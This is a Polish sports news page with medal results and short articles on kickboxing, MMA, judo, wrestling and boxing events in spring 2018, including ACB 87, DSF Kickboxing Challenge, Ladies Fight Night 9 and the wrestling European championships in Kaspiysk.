low kick – 67 kg 3 brąz Lasota Tomasz
low kick – 81 kg 1 złoto Niemiero Michał
low kick – 52 kg 3 brąz Mądraszewska Aleksandra
low kick – 65 kg 2 srebroWoźniak Patrycja
low kick – 57 kg 2 srebro Obara Krystian
low kick – 63,5 kg 3 brąz Krzyżaniak Kamil
low kick – 71 kg 1 złoto Kaczmarczyk Łukasz
low kick – 81 kg 3 brąz Domalik Bartek
low kick – 86 kg 1 złoto Frątczak Kacper
low kick – 91 kg 3 brąz Grzęda Dominik
low kick + 91 kg 3 brąz Abood al Hassani Adam
K1 – 67 kg 1 złoto  Siek Dawid
K1 – 71 kg 2 srebro Abramowicz Damian
K1 – 75 kg 2 srebro Rymarowicz Jakub
K1 – 60 kg 1 złoto Gunia Adrian
K1 – 81 kg 2 srebro Kuźniak Michał
K1 – 86 kg 1 złoto Zawłocki Filip
K1 – 48 kg 3 brąz Szelest Izabela
K1 – 52 kg 3 brąz Niemyjska Magdalena

KM

ACB 87: Kolejne wyzwanie Strusa

19 maja w Nottingham odbędzie się gala ACB 87. Po raz piąty w rosyjskiej organizacji MMA zobaczymy zawodnika kategorii średniej Piotra Strusa, który zmierzy się z Fernando Gonzalezem.

Po przygodzie z KSW, 29-latek z Warszawy obrał kierunek rosyjski. W organizacji ACB Piotr Strus radzi sobie bardzo dobrze i stał się kandydatem do walki o pas wagi średniej, który znajduje się w posiadaniu Alberta Duraeva. Polski zawodnik pierwszy pojedynek w ACB stoczył w lutym 2017 roku. Jego rywalem był Michail Tsarev, który w pierwszej rundzie nadawał ton rywalizacji. Jednak kolejna odsłona należała do Strusa. Polak trafiał rywala i wraz z upływającym czasem miał coraz większą przewagę. Tsarev był bezradny i nie wyszedł do trzeciej rundy. Warto dodać, że Strus otrzymał propozycję starcia zaledwie kilka dni przed galą! Wokół drugiej walki zawodnika z Warszawy w ACB nie brakowało kontrowersji. Polak przegrał niejednogłośnie na punkty z Mikhailem Kolobegovem, jednak był niezadowolony z werdyktu i postanowił się od niego odwołać. Najpierw włodarze organizacji odrzucili protest, ale ostatecznie uznali pojedynek za nierozstrzygnięty. W kolejnych dwóch starciach Piotr Strus dał popis umiejętności. Najpierw poddał Andy’ego DeVenta, a następnie Nikolę Dipchikova, który odklepał zaledwie sekundę przed końcem pojedynku.

Dobra postawa Polaka sprawiła, że stał się kandydatem do walki o pas. Na pojedynek z Duraevem Strus musi jednak poczekać. W Nottingham zmierzy się z doświadczonym Fernando Gonzalezem. 34-letni Amerykanin ma za sobą przygodę w Bellatorze, gdzie zapisał na swoim koncie siedem zwycięstw i dwie porażki. Ostatni raz Amerykanin rywalizował w styczniu. Na gali Bellator 193 przegrał z Lorenzem Larkinem. Gonzalez łącznie stoczył 42 walki w MMA, czyli blisko trzy razy więcej niż Strus! Polak stanie przed trudnym wyzwaniem, ale jego ostatnie występy w ACB pokazały, że jest wysokiej klasy fighterem.

W walce wieczoru gali ACB 87 spotkają się Kane Mousah i Robert Whiteford. Anglik wygrał ostatnie trzy walki, z kolei doświadczony Szkot dwie. Warto dodać, że wcześniej Whiteford rywalizował w UFC. Obaj zawodnicy zaprezentują się w ACB po raz trzeci.

Fot. Piotr Strus Facebook

KM

Jewtuszko debiutuje, Lodzik broni pasa

18 maja w Warszawie odbędzie się gala DSF Kickboxing Challenge 15: Bastion Chwały. W walce wieczoru Jan Lodzik zmierzy się z Yurim Zhoukouskim. Na debiut w organizacji DSF Kickboxing Challenge czeka Maciej "Irokez" Jewtuszko". W Warszawie nie zabraknie meczu międzypaństwowego – Polska zmierzy się z Litwą.

Jan Lodzik, w którego rękach znajduje się pas w kategorii do 65kg, wrócił do rywalizacji w marcu w Nowym Dworze Mazowieckim. Podczas gali DSF Kickboxing Challenge "Twierdza" pokonał niejednogłośną decyzją Murata Azerbieva. Wcześniej popularny "Iron" pauzował dziewięć miesięcy z powodu kontuzji. Wrócił głodny walki i kolejnych wyzwań. Dlatego też 18 maja w Warszawie zmierzy się ze zwycięzcą Turnieju Mistrzów K-1 z Nowego Dworu Mazowieckiego. Tam najlepszy okazał się Yuri Zhoukouski, który najpierw pokonał Orfana Sanzade, a następnie Andrzeja Bruhla. Białorusin świetnie prezentuje się w Polsce. Zhoukouski stoczył cztery pojedynki na galach federacji DSF i wszystkie wygrał. Nie ukrywa swoich ambicji i celuje w pas mistrzowski, ale z pewnością Jan Lodzik nie zamierza mu ustępować. Szykuje się ciekawe starcie, które zostało zaplanowane na pięć rund.

Kibice z uwagą będą obserwować poczynania Macieja Jewtuszko (81kg), który w hali przy Szwedzkiej zadebiutuje w federacji DSF. Dotychczas "Irokez" prezentował się na galach KSW. Ostatnio przegrał w Dublinie z Davidem Zawadą. Teraz podejmuje kolejne wyzwanie i stawia na nowe doświadczenie. Jego rywalem będzie Robert Krasoń, który jest specjalistą w formule full contact. Reprezentant Piotrkowskiej Szkoły Sztuk Walki Tom-Center ma na swoim koncie wicemistrzostwo świata, które wywalczył w Dublinie oraz zawodowe mistrzostwo Europy w kategorii średniej zdobyte w Caen.

Podczas ostatniej gali, DSF 14 na Torwarze, w meczu K-1 Polska pokonała Rosję 3:2, choć po dwóch pierwszych walkach sytuacja nie wyglądała najlepiej. Teraz biało-czerwoni będą rywalizować z Litwinami. O zwycięstwo dla Polski powalczą: Gabriela Makowska, Dawid Mirkowski, Aleksander Kalicki, Tomasz Brotoń i Patryk Radoń. Wydaje się, że najtrudniejsze zadania czeka ostatniego z wymienionych fighterów. Radoń podejmie Martynasa Daniusa, który jest turniejowym mistrzem federacji KOK i pretendentem do pasa w kategorii 65kg.

 W Warszawie dojdzie do starcia Patryka Kuryłka (58kg), który w kwietniu podpisał kontrakt z DSF. Zawodnik z Kobyłki w ubiegłym roku imponował formą, czego dowodem jest brąz mistrzostw świata. Teraz będzie miał okazję zaprezentować się w starciu z Dawidem Mańkowskim. Galę w Warszawie otworzy pojedynek w kategorii 86kg pomiędzy Łukaszem Bartnikiem a Bartłomiejem Wydrą.

Początek gali o 19.00.

Fot. DSF Kickboxing Challenge

KM

Juniorzy ustrzelili szóstkę

Sześć medali wywalczyli Polacy w Pucharze Europy Juniorów w judo, który odbył się w Kownie. Do pełni szczęścia zabrakło złota.

Blisko triumfu w Kownie była Karolina Miller (70kg). 19-latka znakomicie weszła w turniej pokonując Niemkę Leę Bastian. Następnie na drodze Miller stawały reprezentantki Holandii. Z Jessicą Gorissen i Margit de Voogd Polka wygrała przed czasem i czekała ją walka w finale. A tam Donja Vos. 20-letnia Holenderka w tym roku wygrała zawody w Coimbrze i była trzecia w Sankt Petersburgu. W Kownie dołożyła kolejny triumf, a Karolina Miller stanęła na drugim stopniu podium.

Rok temu w Kownie Angelika Szymańska (63kg) wygrała jedną walkę i szybko pożegnała się z rywalizacją. Tym razem było inaczej. Szymańska znakomicie sobie radziła. Wygrała trzy pojedynki, w półfinale uporała się z Jovaną Obradović w niecałe 30 sekund! W walce o złoto Polka przegrała z Niemką Deną Pohl.

Julia Świątkiewicz (+78kg) jest powtarzalna. Tak jak rok temu zajęła trzecie miejsce w Kownie. Jednak początek rywalizacji nie wyglądał obiecująco. Świątkiewicz przegrała z Justiną Kmieliauskaite i musiała rywalizować w repasażach, gdzie wygrała z Wiktorią Lis. W starciu o brąz trafiła na kolejną rodaczkę – Katarzynę Madajewską. Świątkiewicz zaliczyła waza ari i cieszyła się z drugiego medalu w tym roku. Wcześniej była druga w Sarajewie.

Rozpędzony Cezary Tchórzewski (73kg) wygrał trzy walki i dopiero w półfinale zatrzymał go Kilian Ochs. W starciu o brąz Polak okazał się lepszy od Malika Abdula Umayeva. Dobry występ Huberta Pieczyńskiego (55kg), którego droga na podium wiodła przez repasaże. W pierwszym starciu Polak przegrał z Davidem Gauchem. Następnie przeszedł zwycięsko przez repasaże, w których pokonał Tadasa Calka z Litwy. W starciu o brąz Pieczyński szybko uporał się z kolejnym zawodnikiem gospodarzy – Grazvydasem Mykolaitisem. Trzy wygrane Sebastiana Makowskiego (66kg) i wielka szansa na finał. Lepszy okazał się jednak Białorusin Dzmitry Muzhaila. Makowskiemu pozostała walka o brąz, w której spotkał się z Holenderem Jobem Hanssenem. Polak wygrał przed czasem i stanął na podium.

Piąte miejsca zajęli: wspomniana Madajewska, Piotr Zaborowski (55kg) i Krzysztof Załęczny (+100kg).

W Kownie najlepiej wypadli Niemcy, którzy zdobyli 11 medali, w tym osiem złotych. Druga pozycja w klasyfikacji końcowej dla Holandii (15 medali – 3, 1, 11), na trzecim miejscu Węgry (6 medali – 1, 3, 2). Polska na ósmej pozycji w klasyfikacji medalowej.

Fot. zdjęcie poglądowe                                                   

KM

Pacquiao na drodze Łomaczenki?

Wasyl Łomaczenko uchodzi za czołowego boksera świata. Magazyn "The Ring" wybrał go pięściarzem 2017 roku. 12 maja Ukrainiec zadebiutuje w wadze lekkiej w starciu z Jorge Linaresem, a w perspektywie mówi się o walce z Manny Pacquiao.

30-letni Łomaczenko ma bogaty dorobek. Dwukrotnie sięgał po olimpijskie złoto – w Pekinie i w Londynie. Karierę amatorską zakończył z blisko 400 zwycięstwami na koncie. Z pewnością robi wrażenie. Łomaczenko mocnym akcentem rozpoczął karierę zawodową. W czwartej rundzie pokonał Jose Ramireza i sięgnął po pas WBO International w wadze piórkowej. Z czasem nazwisko ukraińskiego pięściarza stawało się coraz bardziej znane za sprawą jego fantastycznych występów. W maju 2016 roku w Madison Square Garden potrzebował pięciu rund, żeby pokonać Romana Ramireza. Łomaczenko zapisał na swoim koncie pas WBO wagi super piórkowej. Dotychczas tytułu bronił czterokrotnie.

12 maja Łomaczenko ruszy na podbój wagi lekkiej. Na jego drodze stanie mistrz świata WBA Jorge Linares. Promotor Wenezuelczyka Oscar De La Hoya podkreślał, że tę walkę trzeba zrobić i tak też się stanie. Pojedynek Łomaczenki i Linaresa ma stanowić prawdziwą bokserską ucztę.

32-letni pięściarz urodzony w Wenezueli słynie z ogromnego serca do walki. W ubiegłym roku pokonał Anthony'ego Crolla i Luke'a Campbella. Ostatnią walkę stoczył w styczniu, kiedy to wygrał z Mercito Gestą. Linares nie przegrał od sześciu lat, triumfował w kolejnych trzynastu starciach.

Łomaczenko będzie polował na jedenaste zwycięstwo w karierze. Ukrainiec zaprezentuje się w ringu po raz pierwszy w tym roku, ale w planach ma jeszcze dwa pojedynki. Pojawiają się głosy, że w grudniu 30-latek miałby zmierzyć się z Manny Pacquiao. Takie plany ma Bob Arum, promotor Ukraińca. – Kibice chcą zobaczyć wielką walkę. Trzeba zorientować się, czy Pacquiao jest zainteresowany boksem. Ostatnio ma dużo obowiązków politycznych i trudno z nim się rozmawia. Chciałbym zorganizować tę walkę w grudniu – powiedział Arum.

Popularnego "Pac Mana" nie trzeba nikomu przedstawiać. To legenda boksu, mistrz świata w ośmiu różnych kategoriach wagowych. Najbliższy pojedynek Pacquiao stoczy 15 lipca w Axiata Arenie w Kuala Lumpur. Jego rywalem będzie Lucas Martin Matthysse.

Fot. Facebook Wasyl Łomaczenko

KM

Panie przeprowadzą natarcie

Tym razem we Wrocławiu. Już 12 maja odbędzie się gala Ladies Fight Night "Tic Tac Toe".

Po raz kolejny walki pań w K-1 i MMA pojawią się na pierwszym planie. W grudniu organizacja Ladies Fight Night hucznie świętowała swoje drugie urodziny. Takiej dawki sportowych emocji nikt się nie spodziewał. Skoro drugie urodziny, to dwie gale! Łącznie dziewiętnaście walk, z których dziesięć zakończyło się przed czasem.

Teraz czas pisać nową historię kobiecej rywalizacji. Gala Ladies Fight Night 9 odbędzie się 12 maja w Centrum Konferencyjnym Terminal Hotel we Wrocławiu. W walce wieczoru zaprezentuje się Patrycja Krawczyk. Jej rywalką w formule K-1 56kg będzie Emma Gongora. Krawczyk będzie walczyła na własnym terenie, a więc z pewnością może liczyć na gorący doping. Do tej pory reprezentująca barwy GYM-Fight Wrocław zawodniczka stoczyła cztery walki dla organizacji Ladies Fight Night. Ostatnio zaprezentowała się w sierpniu 2017 roku na gali w Rawie Mazowieckiej, gdzie po zaciętym pojedynku wygrała z Karoliną Klusovą (dwa do jednego). We Wrocławiu Krawczyk zmierzy się z mistrzynią Francji Emmą Gongorą. Zawodniczka z Marsylii ma na swoim koncie ponad 30 wygranych walk zawodowych.

O piąte zwycięstwo w karierze postara się Weronika Zygmunt (52kg) w pojedynku na zasadach MMA. Zawodniczka Grapplingu Kraków zmierzy się z Claire Lopez. Francuzka ma na swoim koncie dwa wygrane pojedynki. W obu przypadkach rozkładała rywalki na łopatki w pierwszych rundach. Zygmunt również potrafi wygrywać przed czasem, choć na LFN 8 stoczyła bój na pełnym dystansie. Po trzech rundach sędziowie orzekli, że Polka zaprezentowała się lepiej niż Karolina Iverenova.

Po raz drugi w Ladies Fight Night zobaczymy Barbarę Nalepkę. Polka w debiucie przegrała przed czasem z Eliną Kallionidou. Nalepka czeka na zwycięstwo od czterech walk! Jej najbliższą rywalką w formule MMA 52kg będzie Beata Bardziak.

Kolejne pojedynki stoczą utytułowane kickboxerki Małgorzata Dymus (56kg) oraz Kamila Bałanda (63,5kg).

Początek gali o 19.00, godzinę wcześniej zaplanowano przywitanie gości.

Aktualizacja:

Z powodu kontuzji Patrycja Krawczyk nie wystąpi w walce wieczoru gali Ladies Fight Night 9. Z Emmą Gongorą zmierzy się Eliska Pelechova.

Karta walka LFN 9:

MMA 52kg: Ewelina Woźniak – Kinga Jędrasik

K-1 52kg: Aleksandra Mądraszewska – Izabela Szelest

MMA 52kg: Barbata Nalepka – Beata Bardziak

K-1 63,5kg: Kamila Bałanda – Lucia Szabova

K-1 56kg: Małgorzata Dymus – Karolina Klusova

MMA 52kg: Weronika Zygmunt – Claire Lopez

K-1 56kg: Eliska Pelechova – Emma Gongora

KM

Cztery medale Polaków

Reprezentacja Polski wywalczyła cztery medale w mistrzostwach Europy w zapasach w Kaspijsku. To dwukrotnie lepszy wynik niż rok temu w Nowym Sadzie. Najlepsi w Kaspijsku okazali się Rosjanie.

Na Magomedmurada Gadżijewa (70kg) można liczyć. Pochodzący z Dagestanu zawodnik rywalizujący w stylu wolnym po raz kolejny udowodnił, że jest mocnym punktem reprezentacji Polski. Rok temu w Nowym Sadzie wywalczył srebro mistrzostw Europy. W Kaspijsku Gadżijew ponownie był drugi, lepszy od niego był tylko Magomed Kurbanalijew.

Rok temu z tytułu mistrzyni Europy w kategorii 63kg cieszyła się Monika Michalik. Wielokrotna medalistka mistrzostw Polski w Kaspijsku wystartowała w wyższej wadze. W Rosji trzecia zawodniczka Igrzysk Olimpijskich z Rio de Janeiro przegrała dwie walki, ale… rywalizowała o medal. Koumba Selene Fanta Larroue okazała się lepsza od Polki w ćwierćfinale i dotarła do finału, co pozwoliło naszej doświadczonej zapaśniczce stoczyć bój o brąz. Michalik nie udało się wywalczyć dwunastego medalu mistrzostw Europy. Lepsza okazała się Buse Tosun.

Srebro zapisała na swoim koncie Roksana Zasina (55kg). Dla 29-letniej zapaśniczki to trzeci medal mistrzostw Europy. Drugi brąz czempionatu Starego Kontynentu wywalczyła Katarzyna Krawczyk (53kg). Wcześniej Polka stała na podium w Dortmundzie w 2011 roku.

Jako ostatni po medal sięgnął Robert Baran (125kg) w stylu wolnym. Rywalizację w Kaspijsku Polak rozpoczął od pewnej wygranej z Jose Cubą Vazquezem. W półfinale na olimpijczyka z Rio de Janeiro czekał mistrz świata Geno Petriaszwili. Gruzin nie pozostawił Polakowi złudzeń i wygrał 10:0. Baran cały czas pozostawał w grze i wykorzystał swoją szansę. W starciu o brąz Polak pokonał Austriaka Johannesa Ludeschera.

Biało-czerwoni mieli więcej szans medalowych. Starcia o trzecie miejsce na podium przegrali wspomniana Michalik, Agnieszka Król (62kg), Krzysztof Bieńkowski (65kg), Dawid Kareciński (67kg) i Gework Sahakian (72kg).

W klasyfikacji medalowej triumfowali Rosjanie, którzy zdobyli 23 krążki, w tym dwanaście złotych. Drugie miejsce dla Turcji (13 medali, 5 złotych), trzecie dla Azerbejdżanu (18 medali, 4 złote). Polska została sklasyfikowana na 11. pozycji.

Fot. Polski Związek Zapaśniczy Facebook

KM

Gadżijew ponownie ze srebrem

Magomedmurad Gadżijew (70kg) wicemistrzem Europy w zapasach w stylu wolnym. Reprezentant Polski powtórzył wynik osiągnięty przed rokiem w Nowym Sadzie.

Przed rozpoczęciem rywalizacji w Kaspijsku, Gadżijewa wymieniano w gronie kandydatów do podium. Rok temu w Nowym Sadzie zapaśnik AKS Piotrków Trybunalski zdobył srebro. W finale Gadżijew przegrał z Frankiem Chamizo Marquezem. Z kolei w 2016 roku urodzony w Dagestanie zawodnik wywalczył mistrzostwo Europy.

Doświadczony 30-latek polował na trzeci medal czempionatu Starego Kontynentu w barwach Polski. Zmagania w Kaspijsku rozpoczął od pokonania 5:4 Azmata Nurykausa. W kolejnych fazach reprezentant Polski wyeliminował Haydara Yavuza i Murtazaliego Raxmatullayevicia Muslimova. O złoto Gadżijew rywalizował z Magomedem Kurbanalijewem. Rosjanin miał na swoim koncie triumf w mistrzostwach świata i Europy. W Kaspijsku okazał się lepszy od Gadżijewa. Na podium stanęli również: Muslimov i Zurabi Iakobishvili.

Bez medalu mistrzostw Europy do kraju wróci Krzysztof Bieńkowski (65kg) rywalizujący w stylu wolnym. Polak znakomicie zaczął zmagania. Dwie wygrane walki dały mu awans do półfinału, w którym lepszy okazał się Ilias Bekbulatov. Ostatecznie Rosjanin sięgnął po srebro. Z kolei Bieńkowski stanął do rywalizacji o brązowy medal. Polak nie miał łatwego zadania. Bieńkowski trafił na mistrza olimpijskiego z Rio de Janeiro (57kg) i mistrza Europy z 2017 roku Władimera Chinczegaszwiliego. Gruzin wygrał 8:4 i to on stanął na najwyższym stopniu podium. Złoto wywalczył Haji Aliyev z Azerbejdżanu.

W Kaspijsku dwa medale dla reprezentacji Polski wywalczyły panie. Najpierw ze srebra cieszyła się Roksana Zasina, a następnie przyszła radość w postaci brązu Katarzyny Krawczyk (53kg). Zapaśniczka Gryfa Chełm wygrała dwie walki, ale w półfinale lepsza okazała się Stalvira Orshush, która w ostatecznym rozrachunku sięgnęła po złoto. Krawczyk pozostało starcie o brąz, które rozegrała perfekcyjnie. Od początku Polka kontrolowała walkę z Węgierką Mercedesz Denes i wygrała przez położenia na plecy.

Piąte miejsce dla Agnieszki Król (62kg). Zawodniczka Unii Racibórz walkę o brąz przegrała z Weraniką Iwanową.

KM

Kto wypadnie z ringu?

Jeszcze nie weszli do ringu, a atmosfera już jest gorąca. 5 maja Tony Bellew i David Haye spotkają się po raz drugi. Oliwy do ognia dodał "Bomber", który podczas face-offu zaatakował rywala.

Wszyscy liczą na wielkie widowisko, bo mają ku temu powody. 4 marca 2017 roku Bellew i Haye stoczyli niezwykle zaciętą i widowiskową walkę. Po raz kolejny kibice spodziewają się wielkich emocji.

Przed pierwszym starciem Haye był pewny siebie i zapowiadał, że znokautuje rywala. W ringu były mistrz świata WBA wagi ciężkiej prezentował zachowawczą postawę. Haye czekał na swoją szansę, ale Bellew był w pełni skoncentrowany. Kibice obserwowali i zastanawiali się, czy bokserskie szachy będą trwały w nieskończoność. W końcu Haye i Bellew ruszyli na siebie. Publiczność ożyła. Haye dwukrotnie przysiadł, ale wyratował się od liczenia. Bellew był konsekwentny i rywal zaliczył deski, jednak uratował go gong. Były czempion WBC wagi junior ciężkiej zaczął rozdawać karty. W 7. rundzie Haye ze zmęczenia jedną ręką trzymał się lin. "Hayemaker" przetrwał ciężkie chwile i nawiązał walkę, ale… W przedostatniej rundzie Bellew przeprowadził natarcie, po którym rywal znalazł się za linami. Narożnik Haye'a poddał walkę. Warto dodać, że były mistrz WBA wagi ciężkiej w trakcie rywalizacji zmagał się z kontuzją ścięgna Achillesa.

Tak wyglądał obraz pojedynku z marca zeszłego roku. Wygrana Bellewa uchodziła za niespodziankę. Jak będzie teraz? Haye zapowiada, że jest gotowy na dwunastorundową wojnę. Blisko 37-letni bokser ubiegłoroczną porażkę rozpatruje w kategorii "wypadku przy pracy". Wtedy ze względu na kontuzję nie był w pełni dysponowany, ale teraz jest gotowy do walki. Bellew jest pewny swego i podkreśla, że nie ma znaczenia, kiedy miałby rywalizować z Haye'm, bo i tak jest od niego lepszy.

Temperatura wokół walki jest wysoka. Podczas face-offu Bellew odepchnął Haye’a, czym sprowokował niepotrzebne utarczki. W ringu przemówią pięści. Dla Haye’a kolejna porażka oznaczać będzie pożegnanie się z marzeniami o odegraniu jakiejkolwiek roli w wadze ciężkiej. Z kolei Bellew stoczy drugi pojedynek w kategorii królewskiej. Jeśli ponownie wygra, zadomowi się w niej na dobre. Jedno jest pewne – zwycięzca stanie się kandydatem do rywalizacji o pasy, które znajdują się w posiadaniu Anthony’ego Joshuy i Deontaya Wildera.

Pojedynek Bellew – Haye odbędzie się 5 maja w O2 Arenie w Greenwich.

Fot. David Haye Facebook

KM

Zasina z trzecim medalem ME

Roksana Zasina (55kg) zapisała na swoim koncie trzeci medal mistrzostw Europy w zapasach. W Kaspijsku zawodniczka wywalczyła srebro.

Brązowa medalistka mistrzostw świata z Paryża stoczyła w Rosji trzy pojedynki. Rywalizację w czempionacie rozpoczęła od ćwierćfinału, gdzie czekała na nią Anna Wojtowa. Zasina pokazała się z dobrej strony i wygrała w ekspresowym tempie. Polka potrzebowała zaledwie 40 sekund, aby odprawić Ukrainkę. W półfinale Zasina toczyła wyrównany bój z Bedihą Gun. Ostatecznie pokonała Turczynkę 2:1. W pojedynku o złoto 29-latka spotkała się z Iryną Kuraczkiną, która w dorobku miała srebro mistrzostw Europy. Zasina pierwsza zdobyła punkt, ale później Białorusinka przeprowadziła dwie skuteczne akcje. W końcówce Polka wyrównała i było 4:4, ale wygrała Kuraczkina, która punktowała dwa razy po dwa.

To kolejny sukces Zasiny w mistrzostwach Europy. W 2013 roku w Tbilisi została mistrzynią Europy, a trzy lata później stanęła na najniższym stopniu podium w Rydze. Na swoim koncie Zasina ma także brąz mistrzostw świata w Paryżu.

O czwarty brąz mistrzostw Europy w karierze miała okazję rywalizować Monika Michalik (68kg). Trzecia zawodniczka Igrzysk Olimpijskich w Rio de Janeiro, wtedy rywalizowała w 63kg, nie sprostała jednak Buse Tosun.

Doskonała postawa Katarzyny Krawczyk (53kg). 27-letnia Polka pewnie wygrała dwa pojedynki i w półfinale spotkała się z Stalvirą Orshush. Krawczyk długo prowadziła, ale lepsza okazała się Rosjanka. Polce pozostaje rywalizacja o brąz.

Szansę w repasażach dostanie Agnieszka Król (62kg). W ćwierćfinale bezlitosna dla Polki okazała się Taybe Mustafa Yusein. Bułgarka znakomicie spisuje się w Rosji i ma szansę na złoto. Jej rywalką będzie Inna Trazhukova. Z kolei Król w repasażach spotka się z Aurorą Campagną z Włoch.

Szybko z rywalizacją w Kaspijsku pożegnały się Jowita Wrzesień (57kg) i Agnieszka Wieszczek-Kordus (72kg).

Fot. Polski Związek Zapaśniczy Facebook

KM

Torres kolejną rywalką Jędrzejczyk

Joanna Jędrzejczyk może już myśleć o kolejnym pojedynku. Jak podała stacja ESPN, była mistrzyni kategorii słomkowej zmierzy się z Tecią Torres podczas gali UFC on FOX 30 w Calgary.

Dotychczasowa hierarchia runęła. Joanna Jędrzejczyk przyjęła dwa potężne ciosy od Rose Namajunas i teraz cały świat MMA czeka na kolejną walkę Polki zadając sobie pytanie, czy jeszcze wróci na tron.

30-letnia olsztynianka stała się gwiazdą UFC. Jędrzejczyk rządziła w kategorii słomkowej i pięć razy skutecznie broniła pasa. Zaskoczyła ją Rose Namajunas, która podczas UFC 217 znokautowała Polkę w pierwszej rundzie. Jędrzejczyk pałała żądzą rewanżu i ponownie spotkała się z Amerykanką. Po pięciorundowym boju sędziowie wskazali na Namajunas.

Olsztynianka nadal pozostaje czołową fighterką kategorii słomkowej, ale musi się odbudować. Najbliższa okazja ku temu 28 lipca. Rywalką Polki będzie Tecia Torres. – Nie odnosi sukcesów tylko ten, który czeka aż samo się zrobi – napisała Joanna Jędrzejczyk na Facebooku.

Co ciekawe, najbliższa przeciwniczka Polki również mierzyła się z Rose Namajunas w UFC. W kwietniu 2016 roku Torres musiała uznać wyższość obecnej mistrzyni. Jednak wcześniej obie spotkały się w organizacji Invicta. Tam lepsza okazała się Torres.

Po serii trzech wygranych w UFC, w lutym 28-latka spotkała się z mocną Jessicą Andrade. Sędziowie wskazali na 26-letnią Brazylijkę. Warto dodać, że Amerykanka ma na koncie osiem występów w UFC. Dla Torres starcie z Jędrzejczyk będzie ogromnym wyzwaniem. Wygrana da jej przepustkę do czołówki kategorii słomkowej. Z kolei Jędrzejczyk jest głodna zwycięstwa. Niebawem minie rok od jej triumfu w starciu z Jessicą Andrade na UFC 211.

Karta walk gali UFC on FOX 30 zapełnia się. Niezwykle ciekawie zapowiada się starcie byłego mistrza wagi piórkowej Jose Aldo z Jeremy'm Stephensem. Brazylijczyk ma za sobą dwie porażki z Maxem Hollowayem, z kolei 31-letni Amerykanin zanotował trzy zwycięstwa. W Calgary zaprezentuje się również Randa Markos, którą swego czasu pokonała Karolina Kowalkiewicz. Rywalką Kanadyjki będzie Nina Ansaroff. O dziewiętnastą wygraną postara się Dustin Ortiz, który stanie "oko w oko" z Matheusem Nicolau Pereirą. W Kanadzie zobaczymy również m.in. Alexis Davis czy Jordana Meina.

Fot. Facebook Joanna Jędrzejczyk

KM

 

Polacy czekają na medal

W Kaspijsku trwają mistrzostwa Europy w zapasach. Po dwóch dniach zmagań biało-czerwoni pozostają bez medalu, ale niebawem może się to zmienić.

Wszystko za sprawą Dawida Karecińskiego (67kg) i Gevorga Sahakyana (72kg), którzy rywalizują w stylu klasycznym. Trzeciego dnia mistrzostw czekają ich starcia o brązowe medale.

We wtorek Kareciński dotarł do półfinału. Zmagania rozpoczął od 1/8 finału, gdzie spotkał się z Valeriu Todereanem. Polak pewnie pokonał Mołdawianina, który nie potrafił znaleźć sposobu na zagrożenie naszemu zapaśnikowi. Ćwierćfinał nie był łatwy. Zawodnik z Bułgarii postawił trudne warunki Karecińskiemu. Zapaśnik reprezentujący WKS Śląsk Wrocław skutecznie się bronił, a Bułgar w drugiej rundzie zanotował ostrzeżenie. Ostatecznie Kareciński wygrał 3:1. W półfinale Polak trafił na Artema Surkova. Najpierw Kareciński stracił punkt za pasywność, a później Rosjanin. Ale… Trenerzy Surkova poprosili o challenge, sędziowie zmienili decyzję. Do finału awansował Rosjanin, a Polak stanie do rywalizacji o brąz.

Z kolei Sahakyan zmagania w Kaspijsku rozpoczął od pojedynku z Maximilianem Schwabe. Reprezentant Polski mocno wszedł w pojedynek. Zapaśnik Cartusi Kartuzy  wykonał rzuty przez plecy za cztery punkty. Niemiec nie chciał sprzedać tanio skóry, ale musiał pogodzić się z porażką. Ostatecznie Sahakyan wygrał 7:4. Przepustkę do półfinału reprezentantowi Polski dal triumf w pojedynku z Evrikiem Nikoghosyanem. Apetyt na finał był ogromny. Sahakyan trafił na Adama Kuraka, który okazał się lepszy i wygrał 7:2.

Na dziewiątym miejscu zmagania w mistrzostwach Europy zakończyli Dawid Ersetic (63kg). Zawodnik Unii Racibórz przegrał pojedynek repasażowy z Ivanem Lizatoiciem. Również dziewiąty był  Tadeusz Michalik (87kg). Mateusz Wolny (77kg) oraz Rafał Krajewski (130kg) na dziesiątych pozycjach.

Po zaledwie jednej walce stoczyli: Michał Tracz (60kg), Edgar Babayan (82kg) i Marcel Kasperek (97kg).

Pierwsi medaliści

W Kaspijsku wielkie świętowanie. Medale w kategoriach 55kg, 63kgm 77kg, 87kg i 130kg zostały rozdane. Złote krążki wywalczyli: Eldaniz Azizli (55kg), Mihai Radu Mihut (66kg), Roman Vlasov (77kg), Roberti Kobliashvili (87kg), Riza Kayaalp.

Trzeciego dnia czekamy na medal. Szanse ku temu są spore. Dwa pojedynki o brąz z udziałem Polaków, a ponadto do rywalizacji przystąpią panie. Na matach zaprezentują się Anna Łukasiak (50kg), Roksana Zasina (55kg) i Monika Michalik (68kg).

Rywalizacja w Kaspijsku potrwa do 6 maja.

Fot. zdjęcie poglądowe

KM

Mistrzostwa za mistrzostwami

Mistrzostwa Europy w grapplingu zakończone, a teraz przyszedł czas na mistrzostwa Europy w zapasach. Gospodarzem obu imprez jest Kaspijsk.

W pobliżu Morza Kaspijskiego zlokalizowano arenę zmagań wojowników. Niebawem na pierwszym planie pojawiają się zapaśnicy, z kolei grapplerzy mogą już podsumowywać swoje występy. Z pewnością w przypadku Polaków dominować będą pozytywne oceny. Biało-czerwoni w europejskim czempionacie zdobyli 13 medali. Do pełni szczęścia zabrakło jedynie złotego krążka. Polacy wywalczyli sześć srebrnych i siedem brązowym medali.

O krok od złota w grapplingu byli: Maciej Kaluszewski (77kg), Daniel Skibiński (92kg). Z kolei na trzecim stopniu podium zameldowali się Tomasz Nowakowski (77kg), Kamil Umiński (100kg), Sandra Pniak (64kg) oraz Magdalena Zaszczudłowicz (+71kg). W grappling NoGi srebrne medale wywalczyli: Paweł Nedzki (84kg), Anna Augustyn-Mitkowska (53kg), Weronika Zygmunt (58kg) i Sandra Pniak (64kg). Na podium znaleźli się również: Piotr Bagiński (92kg), Kamil Umiński (130kg) i Magdalena Zaszczudłowicz (+71kg).

Czas na zapaśników

Od 30 kwietnia do 6 maja o medale w Kaspijsku walczyć będą zapaśnicy. Do Rosji udała się 21-osobowa reprezentacja Polski. Największe nadzieje wiązane są ze startem Magomedmurada Gadżijewa, który rok temu w Nowym Sadzie sięgnął po srebro w kategorii 70kg w stylu wolnym. Kandydatką do podium jest również Monika Michalik (63kg). Zapaśniczka Grunwaldu Poznań w Nowym Sadzie sięgnęła po złoto. W Rosji postara się obronić tytuł.

W polskiej kadrze nie brakuje doświadczonych i utytułowanych zawodników. Wśród nich są medalistki olimpijskie Agnieszka Wieszczek-Kordus (72kg) oraz Monika Michalik (68kg).

